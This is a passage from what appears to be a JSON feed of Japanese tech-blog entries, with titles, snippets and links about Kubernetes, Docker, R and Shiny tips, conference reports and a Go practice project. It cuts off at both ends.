実践編理論と事例でわかる自己肯定感理論と事例でわかるモチベーション現場の「ズレ」を解消するコミュニケーションメソッド 第2版会話の引き出しを増やす 1on1カード と 使いこなしブックPrometheusでKubernetesを監視する本Kubernetes-Native Development & Deployment実践入門 Kubernetes カスタムコントローラへの道Knativeの歩き方資格情報処理安全確保支援士LPIC 101、102ツール・技術DockerKubernetesHelmPrometheusGrafanaLokiArgo CDConcourseTerraformTelepresencecert-managerWindowsコンテナMicrosoft AzureGo言語Vue.js社内での活動定期勉強会を主催ふりかえりを実施、ファシリテーター役Dockerワークショップを開催2020年の目標2020年もCloud Nativeを突き進む予定です。マストCKA、CKADを取得するコミュニティに貢献するOSSにコントリビュートするGo言語でのプログラミングに慣れる英語力を高めるできれば業務としてKubernetesを扱える環境に身を置く(遠回しな表現)技術書を書く","link":"https://kyohmizu.hatenablog.com/entry/2020/02/01/040351","isoDate":"2020-01-31T19:03:51.000Z","dateMiliSeconds":1580497431000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"docker (rocker) でheadless Chromeを動かす","contentSnippet":"RでWebページのスクリーンショットを撮るにはheadless Chromeが今風?従来、RでWebページのスクリーンショットを撮るにはwebshotパッケージが活躍してきました。しかし、webshotパッケージの内部で動くPhantomJSは開発が停止して久しいです。そんな中、webshotパッケージの開発者であるwchは、headless Chromeを使ってスクリーンショットを撮影するwebshot2パッケージをRStudio製OSSとして開発開始しました。","link":"https://blog.atusy.net/2020/01/14/chromote-on-rocker/","isoDate":"2020-01-14T00:00:00.000Z","dateMiliSeconds":1578960000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テストで使いたくて,DinD (Docker in Docker) でk8sの環境を整えた","contentSnippet":"TL;DRこちらのDockerfileを見納めくださいkindとアプリケーションのコンテナを分けても良かったのですが,kubeconfigの受け渡しが面倒だったので妥協しましたhttps://…","link":"https://qiita.com/tozastation/items/eafde1a75c35bb9d1a68","isoDate":"2019-12-30T14:30:36.000Z","dateMiliSeconds":1577716236000,"authorName":"tozastation","authorId":"tozastation"},{"title":"0からはじめる Windows on Kubernetes","contentSnippet":"はじめにKubernetes の Windows 対応は v.1.14 でGAとなりました。本記事では、既存の Kubernetes クラスタに0から Windows ワーカーノードを追加する方…","link":"https://qiita.com/kyohmizu/items/dffdd49123b1e47c3ac4","isoDate":"2019-12-22T18:19:52.000Z","dateMiliSeconds":1577038792000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"importasパッケージでPython風にパッケージを使おう","contentSnippet":"Rアドベントカレンダー、12/21の記事です。Rmd関連のつもりでしたが、時間がないので、最近作ったimportasパッケージのネタに走ることにしました。importasパッケージでは、Pythonにおけるimport numpy as npみたいなことが、Rでできるようになります。Pythonではimportしたライブラリにドットを繋ぐ形で、関数の呼び出しを行います(例えばnp.mean)。同様に、importasパッケージではggplot2 %as% ggなどとパッケージ名を省略し、$演算子を用いて関数を呼び出します(例えばgg$ggplot)。","link":"https://blog.atusy.net/2019/12/21/importas/","isoDate":"2019-12-21T00:00:00.000Z","dateMiliSeconds":1576886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Knative Serving in Production","contentSnippet":"概要Knative Serving は、ステートレスなアプリケーションを対象に、HTTP リクエスト駆動で自動スケールする仕組みを提供します。Kubernetes (K8s) と Ingress (Isti…","link":"https://qiita.com/toVersus/items/1317a31fead9b836a68d","isoDate":"2019-12-18T22:00:21.000Z","dateMiliSeconds":1576706421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"キャリアアップ支援制度を利用してArchitecting on AWSを受講しましたというアドベントカレンダー書いてました","contentSnippet":"tech.mobilefactory.jpだいぶ前に受けたArchitecting on AWSの聴講記録です。","link":"https://blog.masasuzu.net/entry/2019/12/15/004259","isoDate":"2019-12-14T15:42:59.000Z","dateMiliSeconds":1576338179000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GDG DevFest Tokyo 2019に行ってきた","contentSnippet":"tokyo.gdgjapan.org珍しく、何も予定が入ってない土曜日だったので、行ってきました。最近GCPを触る機運が出てきたのでちょうどいいタイミングでした。以下メモGCP 101 | 坂田 純 | GDG DevFest Tokyo 2019主にCloudRunの話。HTTPをlistenするコンテナを起動するサービス。使った分だけ課金対象となる。リクエスト数次第で自動的にスケールする。とお手軽にできそうな印象。インターフェースがHTTPなので基本的にはパブリックでアクセス出来てしまうが、--no-allow-unauthticatedオプションをつけてデプロイするとで限られた人だけ実行できるようになります。これでバッチ的なことができそう?マイクロサービスの開発とテストファースト/テスト駆動開発 | 柴田 芳樹 | GDG DevFest Tokyo 2019ちょいちょいブログとかは見てましたが、話を聞くのは初めてでした。還暦を迎えてもコードをバリバリ書いてるのは素直に尊敬します。メルペイのマイクロサービスのテストにも興味深かったですが、組み込みでのテストの話も興味深く聴かせてもらいました。ツールや環境の充実度の差はあれど、組み込みでもウェブでもやるべきことは同じなのだなと思いました。CloudNative 時代における GKE/Kubernetes ではじめる開発 | 青山 真也 | GDG DevFest Tokyo 2019k8sの紹介的な話。k8s好きになりました。話がすごいうまくて、めんどくさそうだなあと思ってたkubernetesの印象が変わりました。その他:D社のブースを覗いたらMOVの構成図が展示されていて、IoT関連だけAWSを使っていてそれ以外はGCPを使ってるのが興味深かった。IoT関連のものも別で実装して、AWSからは引き上げるようなことを言ってて、なるほどなあとなりました。基本的にAWSで構成されたインフラばかり見てたのでなかなか新鮮でした。","link":"https://blog.masasuzu.net/entry/2019/12/14/000000","isoDate":"2019-12-13T15:00:00.000Z","dateMiliSeconds":1576249200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"【イベント参加レポート】Microsoft Ignite The Tour Tokyo","contentSnippet":"2019/12/5(木)、6(金)に開催された Microsoft の Tech イベントに参加しました。www.microsoft.com概要アメリカで行われた Ignite のセッションを再演登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)新情報の発表等はされず、通常セッションとハンズオンのみMicrosoft エキスパートとの交流の場外国人のスタッフを多数配置基本的には英語でやり取りするらしい (私は話しませんでした)感想外国人が多く、グローバルな印象を受けました。会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。技術的には初級者向けの内容が多かったと思います。セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。セッション参加セッションのまとめとメモ。THR30031 - Azure とコマンドライン-オプション、ヒント、テクニック難易度:初級メモエクスプローラーでcmdをパスに入力(powershell、wslも)Windows Console → Windows TerminalTerminalはStoreで入手可能Azure CLIやVSCode RemoteはサラッとAPPS30 - コンテナーを利用したアプリケーションの最新化資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30難易度:初級要点コンテナ、Dockerの基礎的な説明コンテナランタイムやマルチステージビルド等は、軽く話に出る程度コンテナに関しては特に知らない話はなかったACRやACIの概要、使い方の軽い説明サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用メモデータセンターのアプリをクラウドにLift&Shift仮想マシンはいいけど無駄が多いコンテナを使ったモダナイゼーションアプリの境界を明確にする旧バージョンの残りファイルがなくなるオーバーヘッドなしでリソース分離繰り返し可能なビルド、環境構築コンテナを使う理由あらゆる環境で同じように動作するベロシティの向上コンテナの仕組み高度に構成されたプロセスcgroupsnamespaceベースイメージからの差分をgzip化したものコンテナランタイムの軽い説明Docker以外にも対応、containerd、runCDockerfileイメージのビルド方法を説明するテキストファイルバッチスクリプトみたいなものビルドリポジトリACRACIサーバーレスのコンテナ実行環境ハイパーバイザーレベルの分離デモサービス移行の話APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する資料:https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40難易度:中級要点AKSの作成手順の説明AKSとAzureの連携サービスについて知識を整理できたオートスケールの話は理解が浅かったので参考になったAKSを使う最大のメリットはAzureADとの連携ネットワークとセキュリティの話は非常に参考になったネットワークポリシーやAZメモ基本的な使い方ではなく、発展的な内容Tailwind Tradaersのデモ経営、ビジネス課題に対応復元力セキュリティ柔軟性スケールKubernetesを選択する理由抽象化のための標準化されたAPI自己修復スケーラビリティk8sアーキテクチャAKSはマスターノードが無料で提供されるネットワークに2種類指定できるデフォルトはkubenetAzure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要があるACIを仮想ノードとして使用AZAKSの作成リソースグループ仮想ネットワークサブネットサービスプリンシパル(k8sから他のリソースを作成)クラスタ本番クラスタを作成するにはオプションを多数指定する必要がある作成時にしか設定できないオプションがあるインストール時にCNI、AZの設定をする仮想ノードの有効化ACIをAKSから使えるようにする必要があるRabbitMQ is 何?HPAメトリクスサーバーにPodから情報が送られる閾値を超えたらスケールクラスタオートスケーラーノードのスケール仮想ノードLinux、Windows、GPUに対応nodeselectorで指定仮想ノードによるスケールのデモネットワークとセキュリティACRでコンテナの脆弱性をチェックAKSを使う最大のメリットはAzureADとの連携!Azure Key VaultPod間の通信Pod IdentityNMI Server(Daemonset)MICAzure Identity BindingネットワークポリシーPod間トラフィックの保護Azure Network PolicyAzure CNIを使ったPodブリッジレベルCalico Network PolicyカーネルレベルAZベータ版データセンター障害の回復性ゾーンは3つまで使用可能ゾーンの数に合わせてレプリカ数を設定THR10007 - ITと技術者の将来について語り合うエモい話要点ディスカッション形式コミュニティ参加やアウトプットを重視しているどんどんチャレンジしてスキルをつけていくことが大事メモ今後あるいは10年後どうなる?これからチャレンジしたいことは?MRフリーランス自分の営業をこれからも続けていく自分が何が得意で、何が苦手かアピールブルーオーシャンを探したいコミュニティのエンパワーメント出てこない人にどうやって技術を好きになってもらうか社内コミュニティを作ってもらうお勧めしたいことは?技術を楽しんで、周りに広めていく仲間ができてコミュニティができる人を変えるのは難しい、好きなことを広めることならできる楽しんでる雰囲気を出していると向こうから来てくれる自分の強みを知って、それを発信していく業務で触ってなくてもコミュニティで発表いていたやりたいこと、好きなことを見つけて、人が見える場所に出していく外のコミュニティに参加してみる会社にいるだけではスキルはプロジェクト依存コミュニティの熱量がすごいアウトプットすると強い人がインプットをくれるとりあえず踏み出してみる楽しんだもの勝ちやりたいことを素直にやってみるUNC10013 - Vue.js 3 に向けた Vue.js 入門難易度:初級~中級要点Vue.js の設計思想、V3 でも使える構文、V3 の新機能コンポジッションAPI関数ベースで提供される APIコンポーネントのロジックが綺麗になるV2 でもお試しで使えるブース立ち寄ったブースの中で、興味を持った内容を紹介します。LenovoLenovo ThinkSystem SE350 | レノボジャパン軽量でコンパクトなエッジサーバーWifi、LTE、有線ネットワーク対応Intel製品概要: OpenVINO™ ツールキットエッジでのディープラーニング推論アプリケーション開発学習済みモデルを無料で利用可能インテルCPUに対応PivotalAzure Spring Cloud | Microsoft DocsSpring Boot アプリをクラウドで実行ベータ版のサービスAKS 上にデプロイされる水平スケールやメトリクス、ログの収集が可能AKS は隠蔽されているため、ユーザーからは見えない手軽に導入できるので POC にも適している","link":"https://kyohmizu.hatenablog.com/entry/2019/12/10/012041","isoDate":"2019-12-09T16:20:41.000Z","dateMiliSeconds":1575908441000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"tidymodelsでもxgboostを解釈したい","contentSnippet":"はじめにXGBoostによる学習Variable Importance Plot (VIP)Partial Dependence Plot (PDP)可視化で得られた考察を反映するはじめにtidymodelsに属するparsnipパッケージを用いて機械学習を行った場合、大本のパッケージで学習した場合と異なる構造のオブジェクトが返ります。例えばxgboost::xgboost関数で学習した結果はxgb.Boosterクラスを持つオブジェクトです。一方でparsnip::fit関数を用いてXGBoostの学習を行った結果は、_xgb.Boosterクラスとmodel_fitクラスを持つオブジェクトです。","link":"https://blog.atusy.net/2019/10/29/interpret-tidymodels/","isoDate":"2019-10-29T00:00:00.000Z","dateMiliSeconds":1572307200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Zero Scale Abstraction in Knative Serving - Part1","contentSnippet":"Serverless Days Tokyo 2019 の Zero Scale Abstraction in Knative Serving というセッションの内容を書き起こしたものです。スピーカー…","link":"https://qiita.com/toVersus/items/9fa635e9cf57643f8dd6","isoDate":"2019-10-23T13:20:58.000Z","dateMiliSeconds":1571836858000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"LPIC 102 チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数ロケールディレクトリ・ファイル文字コードIPアドレスのクラスプライベートアドレスポート変数envsetshellのオプションエ…","link":"https://qiita.com/kyohmizu/items/d5d6fedc527efa9f649c","isoDate":"2019-10-09T01:56:54.000Z","dateMiliSeconds":1570586214000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"LPIC 101チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数デバイスファイルファイルシステムディレクトリ・ファイルsystemdのユニットvi正規表現dpkg設定ファイル /etc/dpkg/…","link":"https://qiita.com/kyohmizu/items/923844999018fd456d44","isoDate":"2019-10-09T01:48:33.000Z","dateMiliSeconds":1570585713000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Rで作る対称コルーチン","contentSnippet":"n月刊ラムダノート Vol.1の『「コルーチン」とは何だったのか』を読んでいる。せっかくなので勉強がてら、Rでコルーチンを実装してみることにした。今回は元祖コルーチンとして紹介されている対称コルーチンを扱う。","link":"https://blog.atusy.net/2019/10/03/symmetric-coroutine/","isoDate":"2019-10-03T00:00:00.000Z","dateMiliSeconds":1570060800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"lemon パッケージで facet した ggplot2 に軸を表示する","contentSnippet":"","link":"https://blog.atusy.net/2019/08/18/lemon-facet-rep/","isoDate":"2019-08-18T00:00:00.000Z","dateMiliSeconds":1566086400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で coord_fixed な ggplot2 の余白を取り除く","contentSnippet":"不要な余白 (黒色部) ができてしまう時は、チャンクオプションの fig.process に画像処理を行う関数を指定しよう。","link":"https://blog.atusy.net/2019/08/12/rmd-fig-crop-margin/","isoDate":"2019-08-12T00:00:00.000Z","dateMiliSeconds":1565568000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmd + Revealjs で簡単に印刷もできる2カラムレイアウトを実現する (inline-block)","contentSnippet":"出力例実装CSSYAML フロントマターCSS チャンクマークダウン記法Rmd 例Enjoy!R Markdown で Reveal.js を使ったスライド作りをする時、時々欲しくなるのが、2カラムレイアウトだ。","link":"https://blog.atusy.net/2019/08/11/revealjs-2col-inline-block/","isoDate":"2019-08-11T00:00:00.000Z","dateMiliSeconds":1565481600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で動的に図の数を変更する","contentSnippet":"","link":"https://blog.atusy.net/2019/08/09/shiny-dynamic-numer-of-plots/","isoDate":"2019-08-09T00:00:00.000Z","dateMiliSeconds":1565308800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットを click したり brush したりした時に得られるデータまとめ","contentSnippet":"tr:nth-child(even) { background: #eee;}Shiny では plotOutput の click, dblclick, hover, brush 引数を利用することで,プロットした画像からマウス操作で座標情報などを取得できる.この時得られるデータがドキュメントされていなかったので調査した.","link":"https://blog.atusy.net/2019/08/07/shiny-clickopts/","isoDate":"2019-08-07T00:00:00.000Z","dateMiliSeconds":1565136000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でマウスの位置に応じてプロットにツールチップを表示する","contentSnippet":"Shiny でプロットにツールチップを表示させる一番簡単な方法は plotly を使うことだろうが,Shiny だけで頑張ってしまうと柔軟でいい.","link":"https://blog.atusy.net/2019/08/06/shiny-hover-tooltip/","isoDate":"2019-08-06T00:00:00.000Z","dateMiliSeconds":1565049600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で input の変更が反映されるまでの時間を調整する (debounce / throttle)","contentSnippet":"入力から一定時間の経過を待ってプログラムを実行するには debounce や throttle を使う.","link":"https://blog.atusy.net/2019/08/04/shiny-throttle-and-debounce/","isoDate":"2019-08-04T00:00:00.000Z","dateMiliSeconds":1564876800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"DT::datatable の行番号を並べ変え可能にする (Shiny / 非Shiny)","contentSnippet":"DT::datatable とは行名 (行番号) で並べ変える非 shinyshinyrenderDT(server = FALSE) にする行番号相当の列を用意するEnjoy!DT::datatable とはDT::datatable は jQuery 用の DataTables プラグインを R で使うための関数だ.これに iris などのデータフレームを与えると,対話的な表を簡単に作れる.","link":"https://blog.atusy.net/2019/08/03/dt-ordered-by-row-numbers/","isoDate":"2019-08-03T00:00:00.000Z","dateMiliSeconds":1564790400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny でプロットの高さをブラウザ画面のサイズに合わせて変更する","contentSnippet":"","link":"https://blog.atusy.net/2019/08/01/shiny-plot-height/","isoDate":"2019-08-01T00:00:00.000Z","dateMiliSeconds":1564617600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shiny で表示タブを変更するリンクを貼る","contentSnippet":"","link":"https://blog.atusy.net/2019/07/31/shiny-show-tab/","isoDate":"2019-07-31T00:00:00.000Z","dateMiliSeconds":1564531200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードの折り畳みをチャンクごとに選択可能にした (rmarkdown 1.15)","contentSnippet":"html_document ではコードの折り畳みができる.使い方は簡単で,YAMLフロントマターにて code_folding を指定するだけだ1.none: code_folding を無効化する.show: デフォルトで全て表示する.hide: デフォルトで全て非表示にする.show・hideの場合は,後からソースコードごとにボタンで表示を切り替えることができる.","link":"https://blog.atusy.net/2019/07/24/rmd-1-15-gh/","isoDate":"2019-07-24T00:00:00.000Z","dateMiliSeconds":1563926400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"bookdown のコミッタになったのでこれまでの貢献を振り返る","contentSnippet":"bookdown のコミッタになった.ほんまにええんかいなと思いつつ,貢献を続けていく上で励みになるので,ありがたく頂戴した次第.私が過去に出した PR が Pandoc の仕様変更に巻き込まれたので,どうするか相談していたところ,","link":"https://blog.atusy.net/2019/07/07/bookdown-committer/","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidyr 1.0.0 で追加される pack を使えば見せる用の表が簡単に作れるかも","contentSnippet":"","link":"https://blog.atusy.net/2019/07/07/application-of-pack/","isoDate":"2019-07-07T00:00:00.000Z","dateMiliSeconds":1562457600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr はチャンクが掃き出すコードブロックにもっとクラス属性を与えるべきと思ったが PR を断念した","contentSnippet":"R Markdown ではチャンクオプションを利用して,ソースコード,出力,メッセージ,警告,エラーに対して,クラス属性などを付与できる.だったら最初から chunk-source, chunk-output, …って感じのクラス持たせておいた方がよくない?って思った.","link":"https://blog.atusy.net/2019/07/05/gave-up-pr-to-knitr/","isoDate":"2019-07-05T00:00:00.000Z","dateMiliSeconds":1562284800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそう","contentSnippet":"Pandoc 2.7.3 を使うと bookdown におけるコードブロックの行番号がちょっと楽になりそうな一方で問題もあるのでメモ.bookdown に依存している pagedown や blogdown も関係しうる.","link":"https://blog.atusy.net/2019/07/03/rmd-line-num-in-pandoc-2-7-3/","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + Honoka の実用化は険しい","contentSnippet":"rmarkdown::html_document に Honoka という 日本語表示を最適化した Bootstrap テーマをあてたかった. 今のところ,まともに使おうとすると本家と Honoka の bootstrap.min.css を両方取り込むことになって非効率.","link":"https://blog.atusy.net/2019/07/03/honokadown/","isoDate":"2019-07-03T00:00:00.000Z","dateMiliSeconds":1562112000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"雑訳vignette: Pivoting (tidyr 1.0.0)","contentSnippet":"tiydr 1.0.0 で追加される pivot_longer() と pivot_wider() の使い方を紹介する vignette の雑な訳","link":"https://blog.atusy.net/2019/06/29/pivoting-tidyr-1-0-0/","isoDate":"2019-06-29T00:00:00.000Z","dateMiliSeconds":1561766400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CRAN にパッケージを初投稿する手順","contentSnippet":"R のヘルプをもっと便利にする felp パッケージが CRANからリリースされた.この経験を踏まえ,CRAN 投稿を初挑戦する人向けの情報を纏めた.","link":"https://blog.atusy.net/2019/06/28/cran-submission/","isoDate":"2019-06-28T00:00:00.000Z","dateMiliSeconds":1561680000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr::mutate_all と purrr::modify の比較","contentSnippet":"dplyr::mutate_all はデータフレーム中の各変数 (列) に対して関数を適用する。purrr::modify はリストライクなオブジェクトの各要素に対して関数を適用するが、返り値は入力したオブジェクトと同じクラスになる。このため、データフレームを入力するとデータフレームを返すので、 dplyr::mutate_all のように振る舞うことができる。","link":"https://blog.atusy.net/2019/06/13/mutate-all-vs-modify/","isoDate":"2019-06-13T00:00:00.000Z","dateMiliSeconds":1560384000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"de:code 2019 参加レポート","contentSnippet":"Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。www.microsoft.com参加セッション1日目コンテナ技術を中心にセッションを選択【KN01】基調講演【CD06】しくみがわかる Azure Kubernetes Service (AKS) ~開発者目線で Kubernetes の基本を理解する~【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション【CD91】HashiCorp Terraform Azure Provider チュートリアル【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWNwww.youtube.com2日目コンテナ・セキュリティのセッションを選択【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決【CM12】.NET Core マルチ プラットフォームの本質【SE05】もうセキュリティはやりたくない!! 第 3 弾 ~Azure Sentinel Deep Dive~注目技術参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。Azure Kubernetes Service(AKS)Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。ノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。Kubernetes-based Event-driven Autoscaling(KEDA)Microsoft と Red Hatが共同作成したプロジェクト。イベント駆動でコンテナのオートスケールを実現します。GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in KubernetesVirtual Kubeletkubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。VM と同じように Kubernetes クラスタで一元管理できます。GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.Windows コンテナサポートWindows Server Node が、Kubernetes クラスタで Linux Node と同時に管理できるようになりました。AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。チュートリアルを試しましたが、なぜかクラスタ作成に失敗)Windows containers now supported in Kubernetes - Open Source blogAzure NetApp FilesNetApp 社の高速ストレージサービス。SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。また NetApp Kubernetes Service という Kubernetes 管理サービスも提供しているようです。(Rancher みたいなもの?)Azure NetApp Files documentation | Microsoft DocsAzure SentinelAI を使用した高機能なセキュリティサービス。Azure Sentinel | Microsoft Azureその他Azure DevOpsAzure PiplineApp ServiceService FabricWSL2感想Azureに関連したテーマのセッションがほとんどでした。クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。AKS、AzureADの動向は今後も注目していこうと思います。LT資料社内勉強会で de:code の recap を発表しました。 Recap of de code 2019 from Kyohei Mizumoto www.slideshare.netおまけ2日間のお昼のお弁当です。1日目2日目","link":"https://kyohmizu.hatenablog.com/entry/2019/06/06/111805","isoDate":"2019-06-06T02:18:05.000Z","dateMiliSeconds":1559787485000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"行列を行/列ごとのリストに変換する関数の紹介とベンチマーク (base::asplit, purrr::array_tree, purrr::array_branch)","contentSnippet":"baseasplitasplit(行列)asplit(配列)purrrarray_treearray_tree(行列)array_branch(配列)array_tree(ベクトル)array_branchベンチマークR 3.6.0 では行列や配列を MARGIN に応じたリストに分割する asplit 関数が追加された.既に purrr パッケージが同様の機能として array_tree や array_branch を実装していたので,挙動とベンチマーク結果を比較してみる.","link":"https://blog.atusy.net/2019/06/01/asplit-r-3-6-0/","isoDate":"2019-06-01T00:00:00.000Z","dateMiliSeconds":1559347200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetesリンク集","contentSnippet":"Kubernetes関連の役立つリンクを記載します。公式リファレンスReference - KubernetesKubectl Reference DocsPhippy and Friends - Cloud Native Computing FoundationGitHubGitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and ManagementGitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.GitHub - jamiehannaford/what-happens-when-k8s: \uD83E\uDD14 What happens when I type kubectl run?プロダクトGoogle Kubernetes Engine documentation \xa0|\xa0 Kubernetes Engine \xa0|\xa0 Google CloudAzure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft DocsWhat Is Amazon EKS? - Amazon EKSDocumentation | Rancher LabsK3s: Kightweight KubernetesPivotal Container Service (PKS) | Pivotalスライド、ブログ等Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker DeckKubernetes Patterns : Capacity PlanningKubeWeekly - QiitaKubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ書籍Kubernetes完全ガイド - インプレスブックス","link":"https://kyohmizu.hatenablog.com/entry/2019/05/28/115504","isoDate":"2019-05-28T02:55:04.000Z","dateMiliSeconds":1559012104000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"【20日チャレンジ】LinuxコマンドをGoで実装","contentSnippet":"Go言語の学習のため、LinuxコマンドをGoで実装します。\\r目的\\r\\rGo言語に慣れる\\r標準パッケージの機能、使い方を知る\\r\\rルール\\r以下のルールでチャレンジを行います。\\r\\r1日1コマンドを実装する\\r最低限、コマンドの基本的な動作(オプションなしの実行など)を行えるようにする\\r余裕があれば追加機能を実装する\\rコマンド名は\\"my\\" + \\"Linuxコマンド名\\"とする\\r極力標準パッケージを使用する\\r\\rソースコード\\rソースコードはGithubで管理します。\\rhttps://github.com/kyohmizu/go-cli-tools\\rスケジュール\\r\\r\\r\\rNo\\r日付\\rコマンド\\r基本実装\\rオプション\\r学習内容\\r\\r\\r1\\r5/23\\rmyls\\r〇\\r\xa0\\r\\rディレクトリ操作\\rエラー処理\xa0\\r\\r\\r\\r2\\r5/24\\rmycp\\r〇\\r△\\rファイル操作\\r\\r\\r3\\r5/25\\rmymv\\r〇\\r△\\r\xa0\\r\\r\\r4\\r5/26\\rmyrm\\r〇\\r△\\r\xa0\\r\\r\\r5\\r5/27\\rmycat\\r〇\\r△\\r\xa0\\r\\r\\r6\\r5/28\\rmycurl\\r〇\\r△\\r\\rhttp接続の実装\\rオプションの複数回指定\\r\\r\\r\\r7\\r5/29\\rmypwd\\r〇\\r△\\r\xa0OSによる条件分岐\\r\\r\\r8\\r5/30\\rmytouch\\r〇\\r△\\rbuild tagの設定\xa0\\r\\r\\r9\\r5/31\\rmymkdir\\r〇\\r△\\r\xa0ファイルの操作権限\\r\\r\\r10\\r6/1\\rmykill\\r〇\\r〇\\rプロセスとシグナル\xa0\\r\\r\\r11\\r6/2\\rmyecho\\r〇\\r-\\r引数の取得\\r\\r\\r12\\r6/3\\rmytime\\r△\\r-\\r\\rコマンド実行\\rtimeの操作\\r\\r\\r\\r13\\r6/4\\rmychmod\\r△\\r-\\r\\rbit演算\\rファイルの権限\\r\\r\\r\\r14\\r6/5\\rmyyes\\r〇\\r〇\\r\xa0\\r\\r\\r15\\r6/6\\rmyenv\\r〇\\r△\\r\\rwindowsで確認不可\\r\\r\\r\\r16\\r6/7\\rmychown\\r〇\\r△\\r\\ruser,group操作\\rwindowsで確認不可\\r\\r\\r\\r17\\r6/8\\rmygrep\\r〇\\r△\\r\\rgrepの操作\\rgoの正規表現\\r\\r\\r\\r18\\r6/9\\rmysleep\\r〇\\r△\\r\xa0\\r\\r\\r19\\r6/10\\rmymkdir\\r〇\\r△\\r\xa0\\r\\r\\r20\\r6/11\\rmyln\\r〇\\r△\\rリンクの操作\\r\\r\\r\\r\xa0\\r成果\\r\\rGoの構文や記法に慣れてきた\\rGo標準パッケージの使い方、調べ方を覚えた\\rLinuxコマンドの動作を知ることができた\xa0\\r\\r感想\\r20日も書けば、ある程度書けるようになることがわかりました。\\r普段使用するC#とGoが似ている点も覚えやすかったのだと思います。\\r次はGoでAPIを作成してみようと考えています。","link":"https://kyohmizu.hatenablog.com/entry/2019/05/23/172119","isoDate":"2019-05-23T08:21:19.000Z","dateMiliSeconds":1558599679000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Ghostscript (> 9.15) を使って PDF 中の文字列をアウトライン化する","contentSnippet":"HTML + CSS で作ったポスターをちゃんと印刷したくて調べたメモ.どうやら Ghostscript (> 9.15) で以下のような呪文を唱えればいいようだ.gs -o output.pdf -dNoOutputFonts -sDEVICE=pdfwrite input.pdf手元で試した分にはうまくいってそう (gs 